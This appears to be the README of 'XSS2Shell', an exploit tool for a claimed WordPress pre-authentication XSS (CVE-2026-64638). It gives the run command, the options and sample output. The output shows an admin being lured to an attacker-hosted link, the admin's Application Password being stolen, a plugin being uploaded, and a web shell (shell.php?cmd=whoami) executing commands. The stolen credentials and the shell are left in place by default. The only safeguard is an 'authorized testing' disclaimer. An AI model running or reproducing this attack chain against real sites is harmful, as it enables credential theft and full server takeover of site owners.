
# Exploit PoC de XSS pré-authentificação para RCE no Wordpress (xss2shell & CVE-2026-64638)
XSS2Shell é uma prova de conceito educacional para a CVE-2026-64638, demonstrando o impacto de um problema de XSS pré-autenticação em instalações WordPress vulneráveis. Com a participação explícita de um administrador, o PoC captura uma Senha de Aplicativo do WordPress, publica uma página temporária, envia um plugin de teste e verifica se o endpoint de shell resultante consegue executar um comando.
Contexto técnico: XSS pré-autenticação no WordPress para RCE: CVE-2026-64638
Somente para fins educacionais e testes autorizados. Execute esta ferramenta apenas em sites WordPress que você possua ou para os quais tenha permissão por escrito para avaliar. Não a use para atingir administradores de terceiros ou sistemas de produção.
python3 xss2shell_poc.py -t http://wordpress.research.local --lhost 192.168.1.227 --lport 8080 -c "whoami"
| Opção | Obrigatório | Descrição |
|---|---|---|
-t, --target | Sim | URL base do WordPress, incluindo http:// ou https:// |
-c, --command | Sim | Comando a ser executado depois que o shell estiver disponível |
--lhost | Não | IP do listener para vincular e anunciar; o padrão é o IP da LAN detectado |
--lport | Não | Porta do listener; 0 seleciona uma porta disponível aleatória |
--keep | Não | Mantém os artefatos publicados em vez de excluir a página temporária |
A URL do alvo é normalizada automaticamente, portanto a barra final é opcional.
/wp-login.php está acessível e parece uma página de login do WordPress.shell.php e executa o comando solicitado.O listener deve ser alcançável pelo navegador do administrador. NAT, firewall, proxy, bloqueio de pop-up e regras de conteúdo misto podem impedir a conclusão do fluxo do navegador.
__ __ _ _____
\ \ / / | |/ ____|
\ \ /\ / /__ _ __ __| | (___ ___ ___
\ \/ \/ / _ \| '__/ _` |\___ \ / _ \/ __|
\ /\ / (_) | | | (_| |____) | __/ (__
\/ \/ \___/|_| \__,_|_____/ \___|\___|
xss2shell & CVE-2026-64638 | https://wordsec.net/ - Education Purpose Only
============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
-> http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
-> http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] Application Password saved to xss2shell_creds.json for later runs (shell: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php)
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=3SGS Loba 2Txw EzWz EbZC xZst (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1786125273210/
[+] Plugin ZIP upload request sent with the victim's session
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php
============================================================
[+] Command output:
www-data
============================================================
[*] Cleanup: published page deleted (id=61)
[*] Cleanup: Application Password, plugin shell, and saved credentials preserved
[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.
Execuções bem-sucedidas salvam a Senha de Aplicativo capturada em xss2shell_creds.json para reutilização em execuções posteriores. A página publicada temporária é excluída automaticamente após o comando, a menos que --keep seja usado.
O plugin de teste, o endpoint do shell, a Senha de Aplicativo e as credenciais salvas são intencionalmente preservados pelo PoC atual. Remova-os manualmente do site de teste após uma avaliação autorizada e exclua xss2shell_creds.json localmente.
Trate o arquivo de credenciais como sensível e nunca o envie para o controle de versão.
Use a licença incluída neste repositório.
Feito por WordSec